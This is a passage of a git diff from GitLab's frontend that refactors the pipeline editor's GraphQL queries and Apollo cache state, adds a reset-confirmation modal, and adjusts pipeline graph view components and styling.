+++ b/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue
@@ -1,8 +1,8 @@
<script>
import { GlIcon, GlLink, GlLoadingIcon } from '@gitlab/ui';
import { __, s__, sprintf } from '~/locale';
-import getAppStatus from '~/pipeline_editor/graphql/queries/client/app_status.graphql';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import getAppStatus from '~/pipeline_editor/graphql/queries/client/app_status.query.graphql';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import {
EDITOR_APP_STATUS_EMPTY,
EDITOR_APP_STATUS_LOADING,
@@ -43,6 +43,9 @@ export default {
apollo: {
appStatus: {
query: getAppStatus,
+ update(data) {
+ return data.app.status;
+ },
},
},
computed: {
diff --git a/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue
index 7f6dce05b6e..13e254f138a 100644
--- a/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue
+++ b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue
@@ -1,5 +1,5 @@
<script>
-import { GlAlert, GlLink, GlSprintf, GlTable } from '@gitlab/ui';
+import { GlAlert, GlLink, GlSprintf, GlTableLite } from '@gitlab/ui';
import { __ } from '~/locale';
import CiLintResultsParam from './ci_lint_results_param.vue';
import CiLintResultsValue from './ci_lint_results_value.vue';
@@ -36,7 +36,7 @@ export default {
GlAlert,
GlLink,
GlSprintf,
- GlTable,
+ GlTableLite,
CiLintWarnings,
CiLintResultsValue,
CiLintResultsParam,
@@ -129,7 +129,7 @@ export default {
@dismiss="isWarningDismissed = true"
/>
- <gl-table
+ <gl-table-lite
v-if="shouldShowTable"
:items="jobs"
:fields="$options.fields"
@@ -142,6 +142,6 @@ export default {
<template #cell(value)="{ item }">
<ci-lint-results-value :item="item" :dry-run="dryRun" />
</template>
- </gl-table>
+ </gl-table-lite>
</div>
</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue b/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
index 0cd0d17d944..3f50a1225d8 100644
--- a/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
+++ b/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
@@ -17,7 +17,7 @@ import {
TABS_INDEX,
VISUALIZE_TAB,
} from '../constants';
-import getAppStatus from '../graphql/queries/client/app_status.graphql';
+import getAppStatus from '../graphql/queries/client/app_status.query.graphql';
import CiConfigMergedPreview from './editor/ci_config_merged_preview.vue';
import CiEditorHeader from './editor/ci_editor_header.vue';
import TextEditor from './editor/text_editor.vue';
@@ -91,6 +91,9 @@ export default {
apollo: {
appStatus: {
query: getAppStatus,
+ update(data) {
+ return data.app.status;
+ },
},
},
computed: {
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/lint_ci.mutation.graphql
index 5091d63111f..5091d63111f 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/lint_ci.mutation.graphql
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_app_status.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_app_status.mutation.graphql
index 7487e328668..7487e328668 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_app_status.mutation.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_app_status.mutation.graphql
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_current_branch.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_current_branch.mutation.graphql
index b722c147f5f..b722c147f5f 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_current_branch.mutation.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_current_branch.mutation.graphql
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_last_commit_branch.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_last_commit_branch.mutation.graphql
index 9561312f2b6..9561312f2b6 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_last_commit_branch.mutation.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_last_commit_branch.mutation.graphql
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_pipeline_etag.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_pipeline_etag.mutation.graphql
index 9025f00b343..9025f00b343 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_pipeline_etag.mutation.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_pipeline_etag.mutation.graphql
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql
index 94e6facabfd..77a3cdf586c 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql
@@ -19,7 +19,10 @@ mutation commitCIFile(
]
}
) {
+ __typename
commit {
+ __typename
+ id
sha
}
commitPipelinePath
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.graphql
deleted file mode 100644
index 46e9b108b41..00000000000
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.graphql
+++ /dev/null
@@ -1,12 +0,0 @@
-query getAvailableBranches(
- $limit: Int!
- $offset: Int!
- $projectFullPath: ID!
- $searchPattern: String!
-) {
- project(fullPath: $projectFullPath) {
- repository {
- branchNames(limit: $limit, offset: $offset, searchPattern: $searchPattern)
- }
- }
-}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.query.graphql
new file mode 100644
index 00000000000..359b4a846c7
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.query.graphql
@@ -0,0 +1,13 @@
+query getAvailableBranches(
+ $limit: Int!
+ $offset: Int!
+ $projectFullPath: ID!
+ $searchPattern: String!
+) {
+ project(fullPath: $projectFullPath) {
+ id
+ repository {
+ branchNames(limit: $limit, offset: $offset, searchPattern: $searchPattern)
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.graphql
deleted file mode 100644
index 5500244b430..00000000000
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.graphql
+++ /dev/null
@@ -1,11 +0,0 @@
-query getBlobContent($projectPath: ID!, $path: String!, $ref: String) {
- project(fullPath: $projectPath) {
- repository {
- blobs(paths: [$path], ref: $ref) {
- nodes {
- rawBlob
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.query.graphql
new file mode 100644
index 00000000000..5928d90f7c4
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.query.graphql
@@ -0,0 +1,13 @@
+query getBlobContent($projectPath: ID!, $path: String!, $ref: String) {
+ project(fullPath: $projectPath) {
+ id
+ repository {
+ blobs(paths: [$path], ref: $ref) {
+ nodes {
+ id
+ rawBlob
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.query.graphql
index df7de6a1f54..df7de6a1f54 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.query.graphql
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.graphql
deleted file mode 100644
index 938f36c7d5c..00000000000
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-query getAppStatus {
- appStatus @client
-}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.query.graphql
new file mode 100644
index 00000000000..0df8cafa3cb
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.query.graphql
@@ -0,0 +1,5 @@
+query getAppStatus {
+ app @client {
+ status
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/current_branch.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/current_branch.graphql
deleted file mode 100644
index acd46013f5b..00000000000
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/client/current_branch.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-query getCurrentBranch {
- currentBranch @client
-}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/current_branch.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/current_branch.query.graphql
new file mode 100644
index 00000000000..1f4f9d26f24
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/client/current_branch.query.graphql
@@ -0,0 +1,7 @@
+query getCurrentBranch {
+ workBranches @client {
+ current {
+ name
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql
index e8a32d728d5..a83129759de 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql
@@ -1,3 +1,7 @@
query getLastCommitBranchQuery {
- lastCommitBranch @client
+ workBranches @client {
+ lastCommit {
+ name
+ }
+ }
}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline.graphql
deleted file mode 100644
index 34e98ae3eb3..00000000000
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline.graphql
+++ /dev/null
@@ -1,38 +0,0 @@
-query getPipeline($fullPath: ID!, $sha: String!) {
- project(fullPath: $fullPath) {
- pipeline(sha: $sha) {
- id
- iid
- status
- commit {
- title
- webPath
- }
- detailedStatus {
- detailsPath
- icon
- group
- text
- }
- stages {
- edges {
- node {
- id
- name
- status
- detailedStatus {
- detailsPath
- group
- hasDetails
- icon
- id
- label
- text
- tooltip
- }
- }
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline_etag.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline_etag.graphql
deleted file mode 100644
index b9946a9e233..00000000000
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline_etag.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-query getPipelineEtag {
- pipelineEtag @client
-}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline_etag.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline_etag.query.graphql
new file mode 100644
index 00000000000..8df6e74a5d9
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline_etag.query.graphql
@@ -0,0 +1,5 @@
+query getPipelineEtag {
+ etags @client {
+ pipeline
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/get_starter_template.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/get_starter_template.query.graphql
index 88825718f7b..a34c8f365f4 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/get_starter_template.query.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/get_starter_template.query.graphql
@@ -1,5 +1,6 @@
query getTemplate($projectPath: ID!, $templateName: String!) {
project(fullPath: $projectPath) {
+ id
ciTemplate(name: $templateName) {
content
}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql
index 02d49507947..d62fda40237 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql
@@ -1,8 +1,10 @@
query getLatestCommitSha($projectPath: ID!, $ref: String) {
project(fullPath: $projectPath) {
+ id
repository {
tree(ref: $ref) {
lastCommit {
+ id
sha
}
}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/pipeline.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/pipeline.query.graphql
new file mode 100644
index 00000000000..021b858d72e
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/pipeline.query.graphql
@@ -0,0 +1,41 @@
+query getPipeline($fullPath: ID!, $sha: String!) {
+ project(fullPath: $fullPath) {
+ id
+ pipeline(sha: $sha) {
+ id
+ iid
+ status
+ commit {
+ id
+ title
+ webPath
+ }
+ detailedStatus {
+ id
+ detailsPath
+ icon
+ group
+ text
+ }
+ stages {
+ edges {
+ node {
+ id
+ name
+ status
+ detailedStatus {
+ detailsPath
+ group
+ hasDetails
+ icon
+ id
+ label
+ text
+ tooltip
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
index e4965e00af3..fa1c70c1994 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
+++ b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
@@ -1,8 +1,8 @@
import axios from '~/lib/utils/axios_utils';
-import getAppStatus from './queries/client/app_status.graphql';
-import getCurrentBranchQuery from './queries/client/current_branch.graphql';
-import getLastCommitBranchQuery from './queries/client/last_commit_branch.query.graphql';
-import getPipelineEtag from './queries/client/pipeline_etag.graphql';
+import getAppStatus from './queries/client/app_status.query.graphql';
+import getCurrentBranch from './queries/client/current_branch.query.graphql';
+import getLastCommitBranch from './queries/client/last_commit_branch.query.graphql';
+import getPipelineEtag from './queries/client/pipeline_etag.query.graphql';
export const resolvers = {
Mutation: {
@@ -35,25 +35,51 @@ export const resolvers = {
updateAppStatus: (_, { appStatus }, { cache }) => {
cache.writeQuery({
query: getAppStatus,
- data: { appStatus },
+ data: {
+ app: {
+ __typename: 'PipelineEditorApp',
+ status: appStatus,
+ },
+ },
});
},
updateCurrentBranch: (_, { currentBranch }, { cache }) => {
cache.writeQuery({
- query: getCurrentBranchQuery,
- data: { currentBranch },
+ query: getCurrentBranch,
+ data: {
+ workBranches: {
+ __typename: 'BranchList',
+ current: {
+ __typename: 'WorkBranch',
+ name: currentBranch,
+ },
+ },
+ },
});
},
updateLastCommitBranch: (_, { lastCommitBranch }, { cache }) => {
cache.writeQuery({
- query: getLastCommitBranchQuery,
- data: { lastCommitBranch },
+ query: getLastCommitBranch,
+ data: {
+ workBranches: {
+ __typename: 'BranchList',
+ lastCommit: {
+ __typename: 'WorkBranch',
+ name: lastCommitBranch,
+ },
+ },
+ },
});
},
updatePipelineEtag: (_, { pipelineEtag }, { cache }) => {
cache.writeQuery({
query: getPipelineEtag,
- data: { pipelineEtag },
+ data: {
+ etags: {
+ __typename: 'EtagValues',
+ pipeline: pipelineEtag,
+ },
+ },
});
},
},
diff --git a/app/assets/javascripts/pipeline_editor/graphql/typedefs.graphql b/app/assets/javascripts/pipeline_editor/graphql/typedefs.graphql
index f4f65262158..508ff22c46e 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/typedefs.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/typedefs.graphql
@@ -1,7 +1,23 @@
-type BlobContent {
- rawData: String!
+type PipelineEditorApp {
+ status: String!
+}
+
+type BranchList {
+ current: WorkBranch!
+ lastCommit: WorkBranch!
+}
+
+type EtagValues {
+ pipeline: String!
+}
+
+type WorkBranch {
+ name: String!
+ commit: String
}
extend type Query {
- blobContent: BlobContent
+ app: PipelineEditorApp
+ etags: EtagValues
+ workBranches: BranchList
}
diff --git a/app/assets/javascripts/pipeline_editor/index.js b/app/assets/javascripts/pipeline_editor/index.js
index 4f7f2743aca..ee93e327b76 100644
--- a/app/assets/javascripts/pipeline_editor/index.js
+++ b/app/assets/javascripts/pipeline_editor/index.js
@@ -5,10 +5,10 @@ import createDefaultClient from '~/lib/graphql';
import { resetServiceWorkersPublicPath } from '../lib/utils/webpack';
import { EDITOR_APP_STATUS_LOADING } from './constants';
import { CODE_SNIPPET_SOURCE_SETTINGS } from './components/code_snippet_alert/constants';
-import getCurrentBranch from './graphql/queries/client/current_branch.graphql';
-import getAppStatus from './graphql/queries/client/app_status.graphql';
-import getLastCommitBranchQuery from './graphql/queries/client/last_commit_branch.query.graphql';
-import getPipelineEtag from './graphql/queries/client/pipeline_etag.graphql';
+import getCurrentBranch from './graphql/queries/client/current_branch.query.graphql';
+import getAppStatus from './graphql/queries/client/app_status.query.graphql';
+import getLastCommitBranch from './graphql/queries/client/last_commit_branch.query.graphql';
+import getPipelineEtag from './graphql/queries/client/pipeline_etag.query.graphql';
import { resolvers } from './graphql/resolvers';
import typeDefs from './graphql/typedefs.graphql';
import PipelineEditorApp from './pipeline_editor_app.vue';
@@ -68,28 +68,46 @@ export const initPipelineEditor = (selector = '#js-pipeline-editor') => {
cache.writeQuery({
query: getAppStatus,
data: {
- appStatus: EDITOR_APP_STATUS_LOADING,
+ app: {
+ __typename: 'PipelineEditorApp',
+ status: EDITOR_APP_STATUS_LOADING,
+ },
},
});
cache.writeQuery({
query: getCurrentBranch,
data: {
- currentBranch: initialBranchName || defaultBranch,
+ workBranches: {
+ __typename: 'BranchList',
+ current: {
+ __typename: 'WorkBranch',
+ name: initialBranchName || defaultBranch,
+ },
+ },
},
});
cache.writeQuery({
- query: getPipelineEtag,
+ query: getLastCommitBranch,
data: {
- pipelineEtag,
+ workBranches: {
+ __typename: 'BranchList',
+ lastCommit: {
+ __typename: 'WorkBranch',
+ name: '',
+ },
+ },
},
});
cache.writeQuery({
- query: getLastCommitBranchQuery,
+ query: getPipelineEtag,
data: {
- lastCommitBranch: '',
+ etags: {
+ __typename: 'EtagValues',
+ pipeline: pipelineEtag,
+ },
},
});
diff --git a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
index 68db5d8078f..e397054f06a 100644
--- a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
+++ b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
@@ -1,8 +1,8 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlModal } from '@gitlab/ui';
import { fetchPolicies } from '~/lib/graphql';
import { queryToObject } from '~/lib/utils/url_utility';
-import { s__ } from '~/locale';
+import { __, s__ } from '~/locale';
import { unwrapStagesWithNeeds } from '~/pipelines/components/unwrapping_utils';
@@ -17,11 +17,11 @@ import {
LOAD_FAILURE_UNKNOWN,
STARTER_TEMPLATE_NAME,
} from './constants';
-import updateAppStatus from './graphql/mutations/update_app_status.mutation.graphql';
-import getBlobContent from './graphql/queries/blob_content.graphql';
-import getCiConfigData from './graphql/queries/ci_config.graphql';
-import getAppStatus from './graphql/queries/client/app_status.graphql';
-import getCurrentBranch from './graphql/queries/client/current_branch.graphql';
+import updateAppStatus from './graphql/mutations/client/update_app_status.mutation.graphql';
+import getBlobContent from './graphql/queries/blob_content.query.graphql';
+import getCiConfigData from './graphql/queries/ci_config.query.graphql';
+import getAppStatus from './graphql/queries/client/app_status.query.graphql';
+import getCurrentBranch from './graphql/queries/client/current_branch.query.graphql';
import getTemplate from './graphql/queries/get_starter_template.query.graphql';
import getLatestCommitShaQuery from './graphql/queries/latest_commit_sha.query.graphql';
import PipelineEditorHome from './pipeline_editor_home.vue';
@@ -30,6 +30,7 @@ export default {
components: {
ConfirmUnsavedChangesDialog,
GlLoadingIcon,
+ GlModal,
PipelineEditorEmptyState,
PipelineEditorHome,
PipelineEditorMessages,
@@ -54,6 +55,7 @@ export default {
lastCommittedContent: '',
shouldSkipStartScreen: false,
showFailure: false,
+ showResetComfirmationModal: false,
showStartScreen: false,
showSuccess: false,
starterTemplate: '',
@@ -158,6 +160,9 @@ export default {
},
appStatus: {
query: getAppStatus,
+ update(data) {
+ return data.app.status;
+ },
},
commitSha: {
query: getLatestCommitShaQuery,
@@ -182,6 +187,9 @@ export default {
},
currentBranch: {
query: getCurrentBranch,
+ update(data) {
+ return data.workBranches.current.name;
+ },
},
starterTemplate: {
query: getTemplate,
@@ -220,9 +228,18 @@ export default {
},
},
i18n: {
- tabEdit: s__('Pipelines|Edit'),
- tabGraph: s__('Pipelines|Visualize'),
- tabLint: s__('Pipelines|Lint'),
+ resetModal: {
+ actionPrimary: {
+ text: __('Reset file'),
+ },
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ body: s__(
+ 'Pipeline Editor|Are you sure you want to reset the file to its last committed version?',
+ ),
+ title: __('Discard changes'),
+ },
},
watch: {
isEmpty(flag) {
@@ -242,15 +259,24 @@ export default {
hideSuccess() {
this.showSuccess = false;
},
+ confirmReset() {
+ if (this.hasUnsavedChanges) {
+ this.showResetComfirmationModal = true;
+ }
+ },
async refetchContent() {
this.$apollo.queries.initialCiFileContent.skip = false;
await this.$apollo.queries.initialCiFileContent.refetch();
},
reportFailure(type, reasons = []) {
- window.scrollTo({ top: 0, behavior: 'smooth' });
- this.showFailure = true;
- this.failureType = type;
- this.failureReasons = reasons;
+ const isCurrentFailure = this.failureType === type && this.failureReasons[0] === reasons[0];
+
+ if (!isCurrentFailure) {
+ this.showFailure = true;
+ this.failureType = type;
+ this.failureReasons = reasons;
+ window.scrollTo({ top: 0, behavior: 'smooth' });
+ }
},
reportSuccess(type) {
window.scrollTo({ top: 0, behavior: 'smooth' });
@@ -258,6 +284,7 @@ export default {
this.successType = type;
},
resetContent() {
+ this.showResetComfirmationModal = false;
this.currentCiFileContent = this.lastCommittedContent;
},
setAppStatus(appStatus) {
@@ -331,12 +358,22 @@ export default {
:has-unsaved-changes="hasUnsavedChanges"
:is-new-ci-config-file="isNewCiConfigFile"
@commit="updateOnCommit"
- @resetContent="resetContent"
+ @resetContent="confirmReset"
@showError="showErrorAlert"
@refetchContent="refetchContent"
@updateCiConfig="updateCiConfig"
@updateCommitSha="updateCommitSha"
/>
+ <gl-modal
+ v-model="showResetComfirmationModal"
+ modal-id="reset-content"
+ :title="$options.i18n.resetModal.title"
+ :action-cancel="$options.i18n.resetModal.actionCancel"
+ :action-primary="$options.i18n.resetModal.actionPrimary"
+ @primary="resetContent"
+ >
+ {{ $options.i18n.resetModal.body }}
+ </gl-modal>
<confirm-unsaved-changes-dialog :has-unsaved-changes="hasUnsavedChanges" />
</div>
</div>
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue b/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue
index 3c78b655dc7..1920fed84ec 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue
@@ -1,5 +1,5 @@
<script>
-import { GlAlert, GlLoadingIcon, GlSegmentedControl, GlToggle } from '@gitlab/ui';
+import { GlAlert, GlButton, GlButtonGroup, GlLoadingIcon, GlToggle } from '@gitlab/ui';
import { __, s__ } from '~/locale';
import { STAGE_VIEW, LAYER_VIEW } from './constants';
@@ -7,8 +7,9 @@ export default {
name: 'GraphViewSelector',
components: {
GlAlert,
+ GlButton,
+ GlButtonGroup,
GlLoadingIcon,
- GlSegmentedControl,
GlToggle,
},
props: {
@@ -96,6 +97,9 @@ export default {
this.hoverTipDismissed = true;
this.$emit('dismissHoverTip');
},
+ isCurrentType(type) {
+ return this.segmentSelectedType === type;
+ },
/*
In both toggle methods, we use setTimeout so that the loading indicator displays,
then the work is done to update the DOM. The process is:
@@ -110,11 +114,14 @@ export default {
See https://www.hesselinkwebdesign.nl/2019/nexttick-vs-settimeout-in-vue/ for more details.
*/
- toggleView(type) {
- this.isSwitcherLoading = true;
- setTimeout(() => {
- this.$emit('updateViewType', type);
- });
+ setViewType(type) {
+ if (!this.isCurrentType(type)) {
+ this.isSwitcherLoading = true;
+ this.segmentSelectedType = type;
+ setTimeout(() => {
+ this.$emit('updateViewType', type);
+ });
+ }
},
toggleShowLinksActive(val) {
this.isToggleLoading = true;
@@ -136,14 +143,16 @@ export default {
size="lg"
/>
<span class="gl-font-weight-bold">{{ $options.i18n.viewLabelText }}</span>
- <gl-segmented-control
- v-model="segmentSelectedType"
- :options="viewTypesList"
- :disabled="isSwitcherLoading"
- data-testid="pipeline-view-selector"
- class="gl-mx-4"
- @input="toggleView"
- />
+ <gl-button-group class="gl-mx-4">
+ <gl-button
+ v-for="viewType in viewTypesList"
+ :key="viewType.value"
+ :selected="isCurrentType(viewType.value)"
+ @click="setViewType(viewType.value)"
+ >
+ {{ viewType.text }}
+ </gl-button>
+ </gl-button-group>
<div v-if="showLinksToggle" class="gl-display-flex gl-align-items-center">
<gl-toggle
diff --git a/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue b/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
index 6f4360649ff..12c3f9a7f40 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
@@ -67,7 +67,7 @@ export default {
:class="cssClassJobName"
class="dropdown-menu-toggle gl-pipeline-job-width! gl-pr-4!"
>
- <div class="gl-display-flex gl-align-items-center gl-justify-content-space-between">
+ <div class="gl-display-flex gl-align-items-stretch gl-justify-content-space-between">
<job-item
:type="$options.jobItemTypes.jobDropdown"
:group-tooltip="tooltipText"
diff --git a/app/assets/javascripts/pipelines/components/graph/job_item.vue b/app/assets/javascripts/pipelines/components/graph/job_item.vue
index 0216b2717ed..ee58dcc4882 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_item.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_item.vue
@@ -203,7 +203,7 @@ export default {
<template>
<div
:id="computedJobId"
- class="ci-job-component gl-display-flex gl-align-items-center gl-justify-content-space-between gl-w-full"
+ class="ci-job-component gl-display-flex gl-justify-content-space-between gl-pipeline-job-width"
data-qa-selector="job_item_container"
>
<component
@@ -223,12 +223,12 @@ export default {
>
<div class="ci-job-name-component gl-display-flex gl-align-items-center">
<ci-icon :size="24" :status="job.status" class="gl-line-height-0" />
- <div class="gl-pl-3 gl-display-flex gl-flex-direction-column gl-w-full">
- <div class="gl-text-truncate gl-w-70p gl-line-height-normal">{{ job.name }}</div>
+ <div class="gl-pl-3 gl-pr-3 gl-display-flex gl-flex-direction-column gl-pipeline-job-width">
+ <div class="gl-text-truncate gl-pr-9 gl-line-height-normal">{{ job.name }}</div>
<div
v-if="showStageName"
data-testid="stage-name-in-job"
- class="gl-text-truncate gl-w-70p gl-font-sm gl-text-gray-500 gl-line-height-normal"
+ class="gl-text-truncate gl-pr-9 gl-font-sm gl-text-gray-500 gl-line-height-normal"
>
{{ stageName }}
</div>
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
index be47799868b..e0c1dcc5be5 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
@@ -124,7 +124,7 @@ export default {
<div
ref="linkedPipeline"
v-gl-tooltip
- class="gl-pipeline-job-width"
+ class="gl-downstream-pipeline-job-width"
:title="tooltipText"
data-qa-selector="child_pipeline"
@mouseover="onDownstreamHovered"
@@ -134,7 +134,7 @@ export default {
class="gl-relative gl-bg-white gl-p-3 gl-border-solid gl-border-gray-100 gl-border-1"
:class="{ 'gl-pl-9': isUpstream }"
>
- <div class="gl-display-flex">
+ <div class="gl-display-flex gl-pr-7 gl-pipeline-job-width">
<ci-status
v-if="!pipelineIsLoading"
:status="pipelineStatus"
@@ -142,7 +142,9 @@ export default {
css-classes="gl-top-0 gl-pr-2"
/>
<div v-else class="gl-pr-2"><gl-loading-icon size="sm" inline /></div>
- <div class="gl-display-flex gl-flex-direction-column gl-w-13">
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-pipeline-job-width gl-text-truncate"
+ >
<span class="gl-text-truncate" data-testid="downstream-title">
{{ downstreamTitle }}
</span>
diff --git a/app/assets/javascripts/pipelines/components/jobs/jobs_app.vue b/app/assets/javascripts/pipelines/components/jobs/jobs_app.vue
new file mode 100644
index 00000000000..ffac8206b58
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/jobs/jobs_app.vue
@@ -0,0 +1,121 @@
+<script>
+import { GlIntersectionObserver, GlLoadingIcon, GlSkeletonLoader } from '@gitlab/ui';
+import produce from 'immer';
+import createFlash from '~/flash';
+import { __ } from '~/locale';
+import eventHub from '~/jobs/components/table/event_hub';
+import JobsTable from '~/jobs/components/table/jobs_table.vue';
+import { JOBS_TAB_FIELDS } from '~/jobs/components/table/constants';
+import getPipelineJobs from '../../graphql/queries/get_pipeline_jobs.query.graphql';
+
+export default {
+ fields: JOBS_TAB_FIELDS,
+ components: {
+ GlIntersectionObserver,
+ GlLoadingIcon,
